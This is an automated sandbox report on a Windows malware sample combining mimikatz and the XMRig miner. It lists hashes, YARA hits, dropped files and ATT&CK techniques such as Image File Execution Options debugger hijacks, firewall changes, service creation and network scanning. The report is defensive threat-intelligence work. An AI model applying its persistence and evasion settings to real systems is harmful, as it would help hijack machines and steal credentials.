mimikatz | 2f887abaf8aae894e89e900b1027af4af781e0af3767103b77ac7dccb135e10a

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 12:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
Size 7.8MB
Sample240723-p585estemc
SHA256 2f887abaf8aae894e89e900b1027af4af781e0af3767103b77ac7dccb135e10a
MD5 3fb6486484d752689e076968a7f383cc
SHA1 904a672cd965f7d145c65f036af055f0013d776d
SHA512 95b8250e636c35f3bdd200a6a779bc44a197d4f93544ec822ab032fe2aac8f92b4f864661c5da7d3579698ebc75f10c2bd42fe097d66e8a6dce7e4141ae81ca8
SSDEEP 98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz xmrig discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4156 created 2148	4156	iimkcmd.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30932) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/3308-181-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-193-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-199-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-215-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-226-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-234-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-249-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-254-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-255-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-257-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-259-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-260-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig
behavioral2/memory/3308-261-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

resource	yara_rule
behavioral2/memory/3180-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/3180-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x00080000000234c7-6.dat	mimikatz
behavioral2/memory/3472-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/1664-136-0x00007FF7A7960000-0x00007FF7A7A4E000-memory.dmp	mimikatz
behavioral2/memory/1664-138-0x00007FF7A7960000-0x00007FF7A7A4E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	iimkcmd.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iimkcmd.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	iimkcmd.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
840	netsh.exe
4456	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
3472	iimkcmd.exe
4156	iimkcmd.exe
4064	wpcap.exe
1804	bbmwcrbuw.exe
1664	vfshost.exe
2288	rtucebkpz.exe
3740	xohudmc.exe
1468	varpws.exe
3308	kawnpq.exe
4928	rtucebkpz.exe
1968	rtucebkpz.exe
5116	rtucebkpz.exe
1668	rtucebkpz.exe
1920	rtucebkpz.exe
464	rtucebkpz.exe
4372	rtucebkpz.exe
1396	rtucebkpz.exe
2288	rtucebkpz.exe
3336	iimkcmd.exe
1660	rtucebkpz.exe
3872	rtucebkpz.exe
4316	rtucebkpz.exe
4052	rtucebkpz.exe
408	rtucebkpz.exe
1184	rtucebkpz.exe
2308	rtucebkpz.exe
4920	rtucebkpz.exe
1548	yhkmiczue.exe
1616	iimkcmd.exe

Loads dropped DLL 12 IoCs

pid	Process
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
4064	wpcap.exe
1804	bbmwcrbuw.exe
1804	bbmwcrbuw.exe
1804	bbmwcrbuw.exe

UPX packed file 38 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023519-135.dat	upx
behavioral2/memory/1664-136-0x00007FF7A7960000-0x00007FF7A7A4E000-memory.dmp	upx
behavioral2/memory/1664-138-0x00007FF7A7960000-0x00007FF7A7A4E000-memory.dmp	upx
behavioral2/files/0x0007000000023524-141.dat	upx
behavioral2/memory/2288-144-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/2288-159-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/files/0x0007000000023521-163.dat	upx
behavioral2/memory/3308-164-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/4928-170-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/1968-174-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/5116-178-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-181-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/1668-183-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/1920-187-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/464-191-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-193-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/4372-196-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-199-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/1396-201-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/2288-205-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/1660-213-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-215-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3872-219-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/4316-223-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-226-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/4052-228-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/408-231-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/1184-233-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-234-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/2308-236-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/4920-238-0x00007FF7AD570000-0x00007FF7AD5CB000-memory.dmp	upx
behavioral2/memory/3308-249-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-254-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-255-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-257-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-259-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-260-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx
behavioral2/memory/3308-261-0x00007FF607E60000-0x00007FF607F80000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
76	ifconfig.me
77	ifconfig.me

Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	iimkcmd.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	iimkcmd.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8	iimkcmd.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	iimkcmd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8	iimkcmd.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\fcbklmeji\Corporate\mimilib.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\schoedcl.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\schoedcl.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\spoolsrv.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\schoedcl.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\wpcap.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\cnli-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\libeay32.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\Corporate\vfshost.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\yhkmiczue.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\zlib1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\libxml2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\docmicfg.exe	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\Corporate\mimidrv.sys	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\vimpcsvc.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\ptypikwv\schoedcl.xml	iimkcmd.exe
File opened for modification	C:\Windows\fcbklmeji\Corporate\log.txt	cmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\scan.bat	iimkcmd.exe
File created	C:\Windows\ptypikwv\iimkcmd.exe	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
File opened for modification	C:\Windows\fcbklmeji\ykckyizic\Packet.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\vimpcsvc.exe	iimkcmd.exe
File created	C:\Windows\ptypikwv\vimpcsvc.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\iimkcmd.exe	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\tibe-2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\svschost.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\vimpcsvc.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\vimpcsvc.xml	iimkcmd.exe
File created	C:\Windows\ime\iimkcmd.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\spoolsrv.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\spoolsrv.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\coli-0.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\ssleay32.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\AppCapture64.dll	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\svschost.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\schoedcl.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\exma-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\trfo-2.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\xdvl-0.dll	iimkcmd.exe
File created	C:\Windows\ptypikwv\svschost.xml	iimkcmd.exe
File opened for modification	C:\Windows\fcbklmeji\ykckyizic\Result.txt	yhkmiczue.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\ucl.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\AppCapture32.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\upbdrjv\swrpwe.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\crli-0.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\trch-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\tucl-1.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\spoolsrv.xml	iimkcmd.exe
File opened for modification	C:\Windows\ptypikwv\docmicfg.xml	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\Shellcode.ini	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\ip.txt	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\wpcap.exe	iimkcmd.exe
File created	C:\Windows\fcbklmeji\ykckyizic\Packet.dll	iimkcmd.exe
File created	C:\Windows\fcbklmeji\UnattendGC\specials\posh-0.dll	iimkcmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3476	sc.exe
3268	sc.exe
3404	sc.exe
3052	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
